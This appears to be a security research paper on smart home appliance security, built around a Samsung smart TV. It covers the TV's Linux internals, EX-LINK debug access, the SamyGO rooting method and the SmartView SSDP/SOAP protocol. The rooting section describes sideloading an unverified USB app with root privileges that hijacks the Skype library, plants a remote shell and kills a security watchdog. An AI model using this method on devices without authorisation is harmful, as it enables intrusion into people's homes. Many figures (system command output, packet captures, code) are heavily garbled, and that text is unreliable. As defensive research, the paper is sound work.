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ABSTRACT

Smart home devices are becoming increasingly popular. Sales of
smart TVs alone are expected to increase to 141 million units in
2015. This number may be small when compared with sales of
PCs and mobile devices, but it is an impressive indication of
what’s to come. And it’s not only our TVs that are getting
smarter; our refrigerators, surveillance systems and thermostats
are becoming ‘smart’ too. They are connected to the Internet.
They are in the cloud. They have more functionality than ever
before, and they’re making our lives easier. Conversely, they may
also be providing new opportunities for crime.

The current upward trend in smart appliance adoption might
resemble similar historic trends seen with PCs and smartphones.
At this early stage of the adoption process, we might think that
the smart devices in our home are safe, but what do we really
know about them? They are like black boxes and there is very
little information available about their internals. Worryingly,
what little published research exists in this area suggests our
confidence may be misplaced.

Maybe we won’t see prevalent malware on these platforms in the
near future, but this is not because smart appliances aren’t prone
to attack. It is more about the current expected ROI for malware
writers. The market for smart appliances isn’t even remotely
close to saturation at this point, so the potential number of
targets, and therefore incentive to compromise, remains
relatively low. However, this gives us a good opportunity to think
about the security of these smart devices and get ahead of the
game. We can learn important lessons from the history of PCs,
smartphones and malware.

In this paper, we discuss the current security status of popular
smart home appliances (TVs, thermostats and surveillance
cameras). We share our findings from reverse engineering those
devices and analysing their defences, including noting possible
attacks or vulnerabilities (such as memory corruptions, MITM
issues, etc.). We also elaborate on possible ways to mitigate
future threats on these increasingly popular platforms.

INTRODUCTION

Smart home appliances are becoming increasingly popular as the
trend of everything being connected continues apace. These
interconnections, moderated by our mobile devices or networked
PCs, make our lives more convenient and productive — and this is
just the start. Imagine the possibilities if you could control and
monitor all your intelligent appliances and home equipment
remotely.

But we might be missing something here. We have put a strong
emphasis on PC and mobile phone security, and many measures,

including anti-malware, have been developed to defeat malicious
software and exploits. Vendors like Microsoft, Apple and Google
have put significant effort and resources into making their
products and the ecosystem more secure. The positive cycle of
bug reporting, fixing and crediting is mostly stable in this space.
But smart home appliances, such as smart TVs and smart
refrigerators, are manufactured by large vendors who are not
familiar with the software industry and its established security
best practices. Then there are other, smaller vendors who have
great ideas as to how to make life easier with many different
Internet-enabled devices, but security may not be at the forefront
of their minds. Neither of these groups has the experience in
security that forged the current policies for addressing
vulnerabilities and malware in the more conventional IT space.

ANALYSIS TARGET

Among the growing number of smart appliances, smart TVs have
shown very impressive sales recently and are projected to
increase to 141 million units worldwide in 2015 [1]. This
number is still small compared to the number of PCs and mobile
devices being sold, but it is a number we can’t ignore. For this
paper, I picked one smart TV model (Samsung F-series) as a
case study and performed a detailed security assessment. In this
paper I discuss the attack vectors from the point of view of the
attackers and malware creators. Hopefully this will give you a
glimpse into the state of security in this space.

The target device I chose was a 55UF6350 model purchased
from a US retail store in 2013. In other words, very typical of the
sort of TV you might purchase nowadays. This model is usually
called an F-series (most of the Samsung TV models sold in 2013
fall into this category). Table 1 shows the basic features of this
TV. From the specification alone, it almost sounds like it is a
small computer with huge screen.

Features

Processor Dual core (ARMv7)

Screen size 55”

AllShare™ Content sharing and screen mirroring
SmartView Clone view

Smart phone remote | Yes (requires SmartView app)
support

USB HID support | Yes
Motion rate 240
Network

One built-in wireless adapter

Browser WebKit-based with Flash 11.1 support
(ActionScript 3.0)
Installed apps Netflix, Picasa, Skype, YouTube,

Facebook

Table 1: Features of Samsung TV model 55UF6350.

INTERNALS

The TV runs a Linux operating system, as illustrated in Figure 1,
which shows the dmesg command result from the TV. There’s
some interesting information here, like the memory size of
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Imitializing -:groug subi%rs <pu
Linux version 3.0.33 Crwlee@sp2) (gec wversion 4.6.4 (vOLinux.GAL, 2012-10=-03) ) #
Aug 2 20:57:36 KST 2013

CPU: ARMuT Processor [413Fc000] revision O (ARMUT), cr=lBcS3c7d

ePu: wIPT nonallasing data cache, vIPT allasing instruction cache

Machine: edison

L _MEM = Ox40200000, O0xCGOO000
L= _MEMZ = QuASEQOOOD, QoclA2Qo000
EMACaddrs Oxd 0000000
EMACMEm= OxLO0000
CRAM_LEN= Ox0
Memory policy: ECC disabled, bata cache writealloc
on node O totalpages: 157696
Mormal zone: 4092 pages used for memmap
Mormal zonme: O ga es reserved
Mormal zone: 153604 pages, LIFO batch:3l
FERCFU: Embedded 7 Eji-ges cpu Bc0cla00n s4992 rEl92 dl5488 u32TOB
pcpu-alloc: s4992 rEl92 dl5488 u32768 alloc=E¥40096
pcpu-alloc: Fﬂ] o [o]1
Built 1 zonelists im Zone order, mobility grouwping on. Total pages: 153604
kernel command 1ine: consolesttyl, 115200 roots/dev mmcblkopld rootfstypessguashf
L_MEM=0d 0200000 , 0xC600000 Lx_MEMZ = 0xaSEQOOON, Oxla2 00000 EMACZ_MEM=0x4 0000000,
0059.8 SELP_ENMABLE=20139120 quiet
PID hash table entries: 409 (order: 2, 16384 hytes%
pentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: &, 262144 bytes)
Memory: 196ME 418ME = A616MB total
Memory: 620016k 8200046k available, 10788k reserved, Ok highmem
virtual kernel memory layout:

5
0100000 onboot

vector | OxfFFFFO000 - OxfFEflo00 4 kB
fimmap  OxFFFOO000 - Oxfffeddod 596 kB
D i 0xffoo00id - Oxffedidod 2 MB
wvmalloc @ Oxe7000000 - OxfI000000 272 MB
Towmem : O0xcOO000000 - OxedB00000 16 MB
modules

Cindit @ OxcOO00B000
Jtest @ 0xcQ02B000

OucO02B000 128 kB
OxcO33e000 3160 kB

cdata @ Oxc033eddld - Oxcd35hod0 117 kB

B55 1 OxcO35Shicd Oxcd0esdd 718 kB
SLUB: Genslabse1ll, Hwalignesd , order=0-3, Minobjectse=0, CPUsS=2, Nodese=1l
Presmptible hierarchical mcu inq:n1anentat arn.

verbose stalled-crus detection 15 disabled.
MR_IRGQS:256
iGlobal Timer Frequency = 495 MHz
icPu Clock Freguendy = 996 MHI
fre = 488000000, mult= 2156108080, shift= 30
sched_clock: 32 bits at 4%98mMHz, resolution 2ns, wraps every B62dms
consale: colowr dummy device B0x30
conzole [ttyl] enabled

: OxbfOO0000 - OxcOOBOOO0 146 MB

1 SHMP PREEMPT Fri

Figure 1: The dmesg command result from the TV.

Footfs on 7 :;pc rootfs (rw)
Sdev/root on / type squashfs (ro,relatime)
proc on Jfproc type proc [rw,relatime)
sysfs on fsys type sysfs (re,relatime)
tmpfs on JSdev/shm type tmpfs (rw,relatime)
tmpfs on Sdtv type tmpfs Enr,rt'l-u‘im.sizl-dnﬁnk
tmpfs on Jump 1:¥pe wmpfs (re,relatime,size=36864k
tmpfs on Jfreesia type tmpfs (rworelatime,size=2048k)
tmpfs on Jcore type tmpfs (rw,relatime,size«30720k)
none on fsys/kernel/security type securit (rw,relatime)
FranE on éstr-;ﬂs,f:grcup Typl cgroup (rw,relatise, cpud
Fdev,/mmcblkopld on /mtd_uncompexe type emmcfs (ro,relatime)
Adev/mmeblkdpd? on /mtd_exe type squashfs (ro,relatime)
Fdev/mmcblkopls on Jmud_rwarea type emmcfs (rw,relacime)
dev,/mmcblkopld on /mtd_drmregion_a type emmcfs Er'ur.re'latime
Fdev/mmeblkopls on /mtd_drmregion_b type emmcfs (rw,relatime
Fdev/mmcblk0p2l on /mud_rocommon type squashfs (ro,noesec,relatime)
dev,/mmcblkdp2d on /mtd_contents type emmcfs (rw,relatime)
rone on éqrnc s /ush T usbfs {rw,relatime)
kop2é on mtd_rwcommon type emmcfs (rw,relatime)
fﬂtuﬂnogn on_Jmtd_recommonwidgets /manager /10130000000 type squashfs (ro,nosxec,relatime)
Adev/mmcblk0op2s on /mtd_emanual type esmcfs (rw,relatime)
Sdev/mmchlkdp2s on /mtd_swu type emmcfs (rw,relatime)
FdovMoopd on Jmrd_rwoommonwi dget s /normal, 111199001564 Tvpe squashfs Eru.nnexec.re‘lat‘lmeg
Sdtw/Toops on Jmtd_recommonwidgets, normalA11199000674 type squashfs (ro,noexec,relatime

Figure 2: The mount command result from the TV.

616MB total and an ARMv7 model CPU. The machine doesn’t
look as powerful as a PC, but it feels more like an embedded
Linux system.

Figure 2 shows the mount command result with a number of
partitions mounted on the system. Of the multiple partitions

mounted, some are mounted as read-only and some are mounted
as read-write.

Figure 3 shows the ps command result. An interesting process
like X, which is used for X-Windows, is shown. There are other
interesting processes too, like udhcpc (a dhcp client) and
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shellxps =eaf
PID WEER TIME COMMAND
1l root 0:00 init
2 root 0100 [kthreadd)
3 root 0:00 [ksoftirgd D
5 root Q:00 [kworker u:zl
6 root Q100 [migration 0
7 root 0:00 [migrationsl
9 root Q100 [ksoftir
10 root 0:00 I-:he1peri
11 root Q:00 ﬁyﬂc_supers]
12 root 0:00 [bdi-default
13 root 0:00 [kblockd]
15 root 0500 kdtuingd]
16 root 0:00 [kswapdd]
17 root 0:00 [Fsnotify_mark]
18 root 0:00 [wdbinder
18 root Q:00 [kworker/0:1]
20 root Q: 08 [mmc 4]
21 root 9:00 [mmcgdObootd
22 root 0:00 [mmogd/Obootl
2% root 0:00 [kworker/1:1]
34 root 0:00 -{h‘in{sh
&0 root 0:00 [kworker/1:2]
&3 root 000 [khubd]
66 root 0:00 {exe} ash mtd_exe/rc. local
69 root 0:00 ./servicemanager _csp =vdbinder
B4 root 0:00 [mald-pmem
88 root 2:2% . JSexeapp -vdbinder
B9 root 2:02 . SexeTv -vdbinder
%l root 0100 cfﬁmnl]
195 root 0:00 [athek1]
226 root [Hi d_aﬁlpdata;'&untime;"l:-‘lnm =logfile /mtd_rwarea/log.t«t -modulepath /mitd_appdata/Runtime/x<or
231 root 0:00 Compositor -vdbinder
262 root 0:00 [kworker/0:3]
304 root 0:00 Jmrd_cmmlib/WIFI_LIB/GCA/wpa_supplicant -pnl80211 -ip2p0 -c/wtd_rwarea/network /p2p_dual, conf
328 root 0:00 [Flush-179:0]
330 root 000 [Toopd]
392 root 0:00 wdhcpe -1 wland -t 5 -T § -b
365 root 0:04 /mutd_appext widgetEngine widgetEngine
533 rooT 0:00 }::‘nr‘lterfu:l
536 root 0:1% d_down,/widget s, /normal /20131000001 /D in/BrowserLauncher
652 root 0:08 Jmrd_d emps SempwebEr ows er binwebk i twebProcess 13
671 root 0120 /mud_exe/webkit webkitwebProcess 12 WE
742 root 0:00 [ARS_MON
920 root 000 d_exe/webserverapp/bin/ighttpd -0 -f /mtd_exe webServeripp webserver /Mighttpd. conf -s
1107 root Qi 00 ['Inn:u
1232 root 0:00 [Toops
1477 root 0:00 . Mainserver /mtd_rwareaSyahoo
1525 root 0:00 . SPDESZErver
1526 root 0:00 . /Appupdate <om.yahoo.connectedtv.updater
1541 root 0:01 . BIServer com.yahoo.connectedty.samsungbd

Figure 3: The ps -eaf command result from the TV.
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WebkitWebProcess (a Webkit process). The process name
exeAPP (also figured) is responsible for the related operations
of apps overall, and the process name exeTV is responsible for
showing television programs.

Table 2 shows some of the TCP ports on the system, related
processes and their usage. The exAPP process listens on many
ports including 55000 and 55001. These ports are used for the

Information source

For Samsung TV rooting resources and other general
information, the Samygo forum (http://www.samygo.tv/) is very
useful. A lot of information from independent hobbyists is
accumulated here.

REPLIES VIEWS

SmartView application. Other SOAP-related ports from lighttpd N G ROUT SCoesl oy F-aeries R Dol ek
are mostly for Universal Plug and Play (UPNP) related weE/ © by m2tk » Sun Nov 24, 2013 2:27 pm QLIEERE | =
operations. UPNP is a set of network protocols that enables e T-FXPDEUC-1115.0 is safe - 381
network devices to discover each other and perform additional e e U B R I,
operations with each other seamlessly. e E"“' “dw-z fr°h‘ ';5?‘-:3"";319:59 s E 984
Y sandan = U Fel N : am
Protocol Port Process Usage :;r;“:;;':;:‘:“;::i:i:‘lgf'zgﬁf:iﬁ‘l {-DmsaK) 2 212
TCP 6000 X X Windows 9 [How To] Get root access on F series 158 59520
TCP 55000 exeAPP SmartView @ by juzis = FriJul 19, 2013 6:14 pm [ [1] ... [34][33][36
TCP 55001 exeAPP | SmartView T o@E © 1328
TCP 9090 exeAPP SmartView .
Figure: 4 Samygo forum.
TCP 7676 exeAPP SOAP
TCP 80 lighttpd SOAP
Debug port access
TCP 4443 lighttpd SOAP ap } B
TCP 43 lighttpd SOAP Most embedded devices allow technicians to access firmware

Table 2: Ports of interest on the TV.

through hardware interfaces like JTAG or UART ports. In most
cases, they don’t want end-users to abuse the feature, so it is
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common for the interfaces to be obfuscated. The Samsung TV is

known to use a modified version of a serial port called
EX-LINK (Figure 5).

Figure 5: EX-LINK port on the back of the TV.

The schematics for the EX-LINK cable are shown in Figure 6.
At one end of the cable is a DB9 female connector, and the other
end uses a stereo audio plug interface. You can easily make a
cable by combining a DB9 cable and a stereo audio jack cable.

i 0D
o dir—=»h ———CONNECTION TABLE T s
! -P1- -P
(PEMAIL) . WHITE .
3 RED 2
s SPIRAL 3

Figure 6: EX-LINK cable schematics (source: [2]).

After building an EX-LINK cable, you need to enable debug
mode from the TV. As shown in Figure 7, EX-LINK is
configured in UART mode by default. This needs to be changed
to debug mode, as shown in Figure 8.

If everything is working well, you will see a screen similar to
that shown in Figure 9. More detailed log messages are shown
in Figure 10. A lot of debug messages from the system processes
are displayed, which is very helpful when reverse engineering
system features. Also, with special key sequences, you can gain
access to the Top-Debug-Menu (TDM). Through the TDM, you
can control sensitive features of the TV at a very low level. Most
of this information is available from the Samygo forum.

Rooting

To research smart TV internals, gaining access to the system

shell is essential. To achieve that, I used the SamyGO rooting
app. Interestingly, the way this app works implies a weakness
with a Samsung TV security feature.

First, you download the SamyGO rooting package from the
Samygo forum site and put the package on a USB thumb stick.
From the TV, go into the ‘More Apps’ menu. When you plug in
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Figure 7: RS-232 jack is UART mode by default.

Figure 8: Debug mode enabled.
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Figure 10: Detailed debug messages from the TV.
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Figure 11: SamyGO rooting app.

your USB stick, it shows the SamyGO application on the
application list. Figure 11 shows the application icon with the
name ‘SamyGO-F’ on the screen.

Table 3 shows the files inside the SamyGO app. Essentially, a
TV app is just a ZIP archive file with HTML, JavaScript and
additional files inside. Samsung TV apps are written in HTML
and JavaScript. The main code that does the rooting is inside
index.html and JavaScript\Main.js.

Name Description

widget Basic widget information
(resolution, alpha blending usage)

config.xml Program configuration (widget id,
name, description, etc.)

index.htm Main HTML file loaded

JavaScript\Main.js Main exploit file in JavaScript code

data\patch Main patch file (zip format)

icon\samygo.jpg

icon\samygo_106.png

icon\samygo_115.png | Program icons

icon\samygo_85.png

icon\samygo_95.png

CSS\Main.css CSS file

Table 3: Main program structure.

The data\patch file is actually a ZIP archive that contains the
files shown in Table 4. The remoteSamyGO.zip file inside this
file is another ZIP archive that contains ELF binary files and a
shell script that is installed on the target machine (Table 5).
LibSkype.so is a file that replaces the original Skype shared
library file with a file of the same name.

Name Description
AutoStar Dummy AutoStart file
libSkype.so Skype hooking library file

remoteSamyGO.zip
runSamyGO.sh

Main SamyGO package file

SamyGO package run script
Table 4: Patch file structure.

Name Description

busybox Busybox package (including various utilities,

etc.)

remshd Remote shell

UEP_killer.sh | UEP killer

Table 5: remoteSamyGO.zip file structure.

The busybox file is a small binary containing many different
functions including shell and FTP. The remshd file is an ELF
binary that listens on port 23 and gives out a shell when anyone
connects to the port. The UEP_killer.sh file is a shell script that
kills a watchdog process on the system that blocks unauthorized
processes (killing the watchdog process disables this security
feature).

When the program is run, it displays a screen similar to that
shown in Figure 12. It overwrites Skype’s shared library file
(libSkype.so) with its own version. Whenever Skype runs on the
TV, the main Skype binary loads this replaced shared library and
runs the SamyGO app’s code inside it. The shared library runs
its own code for installing a remote shell and providing other
features.

L T

= Kingston D‘n‘ﬂ'rlvi. 20, N"“
~ tions = ¢
"‘! SMMYGO files dasnas

Rl L.

RRGU]

Figure 12: Rooting process from the rooting program.

How rooting works and its security implications

You might be wondering how this rooting process is possible.
The cause of the problem is that when a USB stick is inserted,
the More Apps feature does not verify the applications on the
USB drive — it skips the application verification process and lets
the user run the program(s). Moreover, the process has root
privileges. The TV apps are written in HTML and JavaScript,
and the underlying system exposes JavaScript objects that
support network, display and file system access, etc.

The SamyGO app first loads the SAMSUNG-INFOLINK-
FILESYSTEM object, as shown at line 11 in Figure 13.
Through this object, the JavaScript code can perform file-
system-related operations. After that, as shown at line 15 in
Figure 13, the HTML page calls the Main.onLoad JavaScript.

Figure 14 shows that the filePlugin variable is resolved from the
previous SAMSUNG-INFOLINK-FILESYSTEM object.

Line 156 in Figure 15 shows how the Unzip method from this
object can be used. Basically, you can extract an arbitrary ZIP
file to an arbitrary folder.
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Ld="pluginFileSystem” b S UNG-I LINE

pluginstor > O -INFOLINEK -

Main.onlLoac Functia i
document. getElementBy )
filePlugin document . getElementById(

function roo
1c (

The target location for the ZIP operation is shown in Figure 16. S
This path is where the Skype engine’s files, including the shared
library, are stored.

The rootSamyGO function from the script extracts a
‘data/patch’ file to the Skype engine’s location, overwriting the
libSkype.so file. Now, when the Skype program runs on the
system, it loads the SamyGO version of the libSkype.so shared
library.

SAMSUNG

SMARTVIEW FLAW

SmartView is a feature of Samsung TVs that lets you enjoy TV
content from your PC or smart phone. An iPhone app (Figure
18) and a PC application (Figure 19) are available. The
SmartView feature is related to other features like AllShare, etc. Figure 18: SmartView iPhone App.
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Select device

TV - Samsung LEDSS

Figure 19: SmartView PC application.

Frame Number  Time Date Local Adjusted — Time Cffset  Prooess Name Souroe Dverstineation Probocol Name:  Description

3 11:23:11 AMS[25f2014  0.0128345 SmartView. fpp.ecce  192,168.1.19 Z39.255.255.250 S5DP SE0P:Request, M-SEARCH *
7 11:23:11 AMS[25/2014  0.3124502  SmartView.App.ecoe  192,168.1.19 239.255.255.250 S5DP S5DF :Request, M-SEARCH *
1] 11:23:12 AMSJ25/2014 0.6126393  SeartView fpp.ecce  192,168.1.19 Z39.255.255.250 55DF S5DP :Request, M-SEARCH *
71 11:23:18 AMS/25/2014 70008754  SenastView.fpp.exe 192.168.1.19 Z39.255.255.250 S5DP S5DP :Request, M-SEARCH *
73 11:23:18 AMS[25[2014 73011165  SmartView.fpp.eoe  192,168.1.19 Z39.255.255.250 S5DP S0P Request, M-SEARCH *
k-1 11:23:19 AM S[25/2014 76011015  SmartView.fpp.ecs  192,168.1.19 239.255.255.250 S5DP S50P Request, M-SEARCH *

Figure 20: M-SEARCH packets.

M-SEARCH * HTTP/1.1

HOST: 239.255.255.250:1900
MAN: "ssdp:discover”

Mx: 4

CONTENT-LENGTH: 0

ST: urn:samsung. com:device:RemoteControlReceiver:1

Figure 21: M-SEARCH packet payload.

Froame Mumber  Time Dute Local Adjusted  Time Offset  Frocess Mame Source
5 11:23:11 AMSEE2014 01208550  SmartView.fppoexe  152.168.1.9

Destination Frotocc] Mame  Description
192.068.1.19  UoP LD SrcPort = ST480, DetPort = 1026, Length = 354

Figure 22: M-SEARCH response.

The SmartView feature is representative of smart TVs with
network capability. Looking into how this feature works is
interesting, as well as a beneficial exercise in order to gain a
better understanding of the security implications of some
features of smart TVs.

SSDP

Simple Service Discovery Protocol (SSDP [3]) is used for
discovering and propagating device information on the local
network. The SmartViewApp application sends M-SEARCH
requests over the multicast network (Figure 20).

The payload of the M-SEARCH packets is shown in Figure 21.
It tries to find Samsung remote control receiver devices.

The TV replies with additional information about itself using
the SSDP protocol (Figure 22).

Figure 23 shows the contents of this reply packet. It has a
‘LOCATION’ header that can be used for further operations.
The URL is ‘http://192.168.1.9:7676/smp_2_’ and the IP
address of the TV is 192.168.1.9.

Basic information request
From the response of the M-SEARCH request, the client can

HTTP/1.1 200 oK

CACHE-CONTROL: max-age=1800

pate: Thu, 01 Jan 1970 0l:00:36 GMT

ExT:

LOCATION: http://192.168.1.9:7676/smp_2_

SERVER: SHP, UPnP/1.0, Samsung UPHP SOK/1.0

ST: urn:samsung. com:device:MainTvserver2:l

USH: uuid:0a2lfel80-00aa-1000-hhb3d-

fa47h5e7620f8: turn:samsung. com: device:MainTvserver2:1

content-Length: 0

Figure 23: M-SEARCH response payload.

determine the URL for more operations. It tries to connect to
and request information from the TV by sending a simple GET
request to this URL (Figure 24).

GET /smp_2_ HTTP/1.0

HOST: 192.168.1.9:7676

USER-AGENT: SEC_HHP_CRAZYCOOKIE,/1.0
ACCEPT-LANGUAGE : en-us

Figure 24: Smp_2_ application request.

The result of this GET request is shown in Figure 25. The
message contains basic device information including model
number and a detailed description of the device. Also note that
there is a service entry named urn:samsung.com:serviceld:
MainTVAgent2. The entry has a controlURL of /smp_4_. This
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URL is where the client can perform additional SOAP
operations.

HTTP/1.1 200 OK

CONTENT-LANGUAGE: UTF-8

[CONTENT-TYPE: text/xml; charset="utf-8"
CONTENT-LENGTH: 1203

Date: Thu, 01 Jan 1970 01:00:38 GMT
connection: close

SERVER: SHP, UPNP/1.0, samsung UPNP SDK/1.0

<7xml version="1.0"7>

<root xmlns="urn:schemas-upnp-org:device-1-0" xmlns:sec="http://www.sec.co.kr/dIna"

<specversion=
<major=l</major>
<minor>=0</minor>
</specversion>
<devices
<deviceType>urn:samsung. com:device:MainTvServer2:1</deviceType>
<friendlyName>[Tv]samsung LED55</friendlyName>
<manufacturer>samsung Electronics</manufacturers>
<manufacturerURL=http://www.samsung. com</manufacturerurL>
<modelDescription=5amsung DTV MainTvserver2</modelDescriptions>
<mmde'|Name>UN55F6300</rﬂuge'\Name>
<mode INumber=>1. 0</mode1Number=
<modeTURL=http://www. samsung. com</modeTURL>
<serialNumber>20100621</serialNumber:
<UDN>uuid:0a21fe80-00aa-1000-bb3d-f47b5e7620f8</UDN>
<UPC>123456789012</UPC>
<s5ec:deviceID=BDCHCBZODCVXU</5ec deviceID>
<sec:ProductCap>Browser,Y20l3</sec:ProductCap>
<serviceList>
<services
<serviceTypesurn:samsung. com:service:mainTvagent2:l</serviceType>
<serviceId>urn:samsung.com:serviceId:mainTvagent2</serviceIds
<controlURL>/smp_4_</controlURL>
<eventSubURL>/smp_5_</eventSubURL>
<SCPDURL>/smp_3_</SCPDURL>
</services
</serviceList=
</device>
</root>

Figure 25: Smp_2_ application response.

Advanced operations

So smp_4_ is a SOAP application that provides additional
operations. Figure 26 shows one of the requests: it is sending a
GetDT VInformation request to the TV using a SOAP message.
The response to the GetDTVInformation request is shown in
Figure 27. The response contains basic information about the
features the TV supports. It includes the video format it
supports, TV version, and the presence of additional networking
ports like Bluetooth.

There are many different services available through this
application, including the following functions:

e AddSchedule
e ChangeSchedule

SMART HOME APPLIANCE SECURITY AND MALWARE

e DeleteRecordedItem

* DeleteSchedule

* DestroyGroupOwner

* EnforceAKE

* GetACRCurrentChannelName
¢ GetACRCurrentProgramName
* GetACRMessage

e GetAPInformation

* GetAllProgramInformationURL
* GetAvailableActions

e GetBannerInformation

* GetChannelListURL

* GetCurrentBrowserMode

e GetCurrentBrowserURL

* GetCurrentExternalSource

e GetCurrentMainTVChannel

* GetCurrentProgramInformationURL
e GetDTVInformation

* GetDetailProgramInformation
* GetFilteredProgramURL

e GetMBRDeviceList

e GetMBRDongleStatus

* GetRecordChannel

e GetScheduleListURL

* GetSourceList

* PlayRecordedItem

¢ RunBrowser

POST /smp_4_ HTTP/1.0

HOST: 192.168.1.9:7676

CONTENT-LENGTH: 248

CONTENT-TYPE: text/xml;charset="utf-8"

USER-AGENT: DLNADOC/1.50 SEC_HHP_CRAZYCOOKIE/1.0
SOAPACTION: "urn:samsung.com:service:MainTvAgent2:1#GetDTvInformation”

<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" .
s:encodingstyle="http://schemas. xmlsoap. org/soap/encoding,/"><s :Body><u:GetDTVInformation
xmlns :u="uUrn:samsung. com:service:MainTvagent2:1"></u:GetDTVInformation></s :Body></5 :Envelope>

Figure 26: Smp_4_ application request.

HTTP/1.1 200 oK

Content-Length: 1594

Content-Type: text/xml; charset="utf-8"
DATE: Thu, 01 Jan 1970 01:00:40 GMT

EXT:
SERVER: UPNP/1.0
Connection: close

<?xml version=
s:encodingstyle=
<5 :Body>

<u:GetDTVInformationResponse

version=&guot;1.0&gquot; encoding=&quot;UTF-8&guot; 7
s&1t; /SupportGetAvailab

argetLocationdgr;&It: supﬁxor‘tAntMo e&gt;1,2&
upportChannelLock&gt; No&

0" encoding="utf-8"7?><s:Envelope xmins:s="http://schemas.xmlsoap.org/soap/envelope/"
http://schemas.xmlsoap. org/soap/encoding/">

xmlns :u="urn:samsung. com:service:MmainTvagent2:1"=<Result>0K</Result=<DTVInformation=&1t; ?xml

&gt ; &1T; DTVvInformati mn&?t;&'lt; SupportTvversion&gt; 2013&1t; /supportTvversion&gt; &1t; supportGetavailableacti oms&?t;ve
eActions&gt; &1t; Supﬁ:or‘tB'I uetooth&gt; No&1t; /SupportBluetooth&gt; &1t; TargetLocation&gt; &
T; /supportAntMode&gt; &1t; supportchsort&gt; No&lT; jsupgortchsort&gt:&h; s

t; /supportchannelLock&gt; &1t; Supportcl e

t; /T

annelInfo&gt; No&1t; /SupportChannelInfodgt; &1t; Suppor

tChannelpeletedgt; Yes&lt; /supportChannelpeletedgt; &1t; SupportEditNumMode
/&gt; &1t; SupportRegionalvariant&gt; No&1t; /SupportRegi onaillvar“w‘ ant&gt; &1t; SupportPVR&gt; No&1t; /SupportPVR&gT; &1t; Supp
ortDTV&gL; Yes&1t; /SupportDTvEgt; &1t; supportstream&gt; &1t; Container&gt; MPEG2&1t; /Container&gt; &1t; videoFormat&gt; H. 2
64&1t; /VideoFormat&gt; &1t; AudioFormat&gt;MP3&1t; /AudioFormat&gt; &1t; XResolution&gt; 720&1t; /XResolution&gt; &1t; YReso
Tution&gt; 480&1t; /YResolution&gt; &1t; AudiosamplingRatedgt;48000&1t; /Audi

Figure 27: Smp_4_ application response.
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Frame Summmary - [Conversation Filter]

x

S Find > 4 1

22 Color Rules 4 Aliases = == Columns

Time Date Local Adjusted  Time Offset  Process Mame

11:23:15 AM 5/25/2014
11:23:15 AM 5[25/2014

3.6
36

132819
147120
147607

181050

Smartview. App.exe

Smartiel

Destination
192,168, 1 9

Source
192 168,119

Description

stPort ayl
, SrePort=! SSDDD DstPort=! 54012 Payloadlen= 226 Sec

30 11:2215 AMS5[25/2014  4.3801881  Smart¥iew.App.exe 192.168.1.9 192,168,118 TCP
31 112215 AM5/25/2014  4.3820181  Smartvlew.App.exe 192.168.1.19  192.168.1.39  TCP , SrePort=54012, DstPort=55000, PayloadLen=88, Seq:
2 112215 AMS/25/2014 43832985 Smart¥iew.App.exe  192.168.1.9 192,168,118 TCP : . SrePort=55000, DstPort=54012, Payloadlen=0, Seq=:
34 11:2315 AM5[25/2014 44070723 Smartwiew. App.exe 19216819 192,168.1.19 TP TCPiFlags=...AP..., SrcPork=55000, DstPort=54012, Payloadlen=21, Seg=
£ 11:2316 AMS5[25/2014 46075203 Smartview.App.exe 192.168.1.9 192,168,118 TCP  TCP:[ReTransmit #34]Flags=.. AP..., SrcPort=55000, DstPort=54012, Fay
37 11216 AM5/25/2014 46075391  Smart¥iew.App.exe 192.168.1.19  192.168.1.9  TCP ..., StcPort=54012, DstPort=S5000, PaylnadLen=0, Seq=: _
> 11.5219% AM EIDEIDA1A 17 4ET140  Gemarkisus finn ave 105 1221 18 1e% 14218 TeD 40 CerDosk—aN1S PekDrk—EEANN Davdnarl ot 1 Ga,
< I ] B
Frarne Details * | [Hex Details x
SrcPort: 54012 N
i Decode s Width » Prot Off: 20 (0xld) Frame Off: 104 (0z68) Sel Bytes: 27
DstPort: 55000 .
SequenceNurper: 3153536113 (Ooxe ||001C 48 CF 01 05 01 00 60 00 1C 10 A6 44 -
R " . 31936531 ||P02E 1D L3 57 12 48 SC A3 8D 31 18 6C 00
cknowledgementhuber —||ooss an 03 00 00 0O 08 00 45 00 00 43 55 . -
para0ffser: 80 (0x50} 004e 40 80 D6 21 D1 €O 4B D1 13 €O 48 01 09 &. .tHA°..4°
Flags: ...AP... =||oos4 b2 D6 D8 BE F7? E7 C1 BA C7 CO cC2 50 L
Window: 4380 (scale factor Ox2) (|00s82 11 3
Checksum: 0x4ECT, Good 0070
UrgentPointer: O (0x0) 007E e
TrPRawlaad: SnnreePart = 54017
N T v _ Frame Comments | [45] Hen Detalls |

Figure 28: Remote controller packets.

Fra...  Time Date Local Adjusted  Time Offsst  Process Nams Source Destination Pro...  Description
22 112215 AM5/25/2014  3.6132819  SmartViewAppexe 192.168.1.19  192.168.1.9 TP : 5., SrcPort=54012, DstPort=55000, PayloadLer
23 112215 AMS/25/2014 36147120 SmartView App.exe 192.168.1,9 192.168.1,19 TP TCPiFlags=...A..5., SrcPork=S5000, DstPort=54012, PayloadL
24 112215 AMS/Z5/2014 36147807  SmartViewAppexe 192.168.1.19  192.168.1.9  TCP  TCPFlags=...A...., SrcPort=54012, DstPort=55000, PayloadLe
25 112R15 AMS/25/2014 36164590  SmartView Appexe 192.168.1,19 19216819 TP TCP:Flag , SrcPort=54012, DstPart=55000, PayloadL
26 112215 AMS/25/2014 36151050  SmarkView App.exe 192.168.1,9 192.168.1.19  TCp !  SrePort—SE00D, DstRort—5an1z, PaylnadLe
30 112215 AM5/25/2014  4.3801881  Smarkliew App.exe 19216819 192.168.1.19  Tcp
31 112215 AM5/25/2014  4.3820181  SmartView.Appexe 192.168.1.19  192.168.1.9 TP
32 112215 AMS/25/2014  4.3832965  SmarkView App.exe 192.168.1,9 192.168.1.19  TCp
34 112215 AMS/25/2014 44070723 SmartlView App.exe  192.168.1,9 192.168.1.19 TP
3 112316 AM5[25/2014 46075203 SmartView App.sxe  192,168.1,9 192,168.1,19 TP
37 112316 AM5[25/2014 46075391  SmartView.Appexe 192.168.1.19  192.168.1.9  TCP
55 11,9219% AM EIDEIN1A 17 D4E7140  Somarbfiews fnn ave 187 162116 185 1e2 14 Tro
o I ] v
Frame Details * || Hex Details %
DstPort: 55000 2| ==

i Decode &5 Prot Off: 20 (0x14) Frarme Off; 104 (0z68) Sel Bytes: 89
SequenceNunber: 3153586140 (OXBEF7TET — —7
AcknovledgementNuber : 3133653412 [C gsi; Ouug»:glzCARE. -
DataOffser: 80 [0x50) e
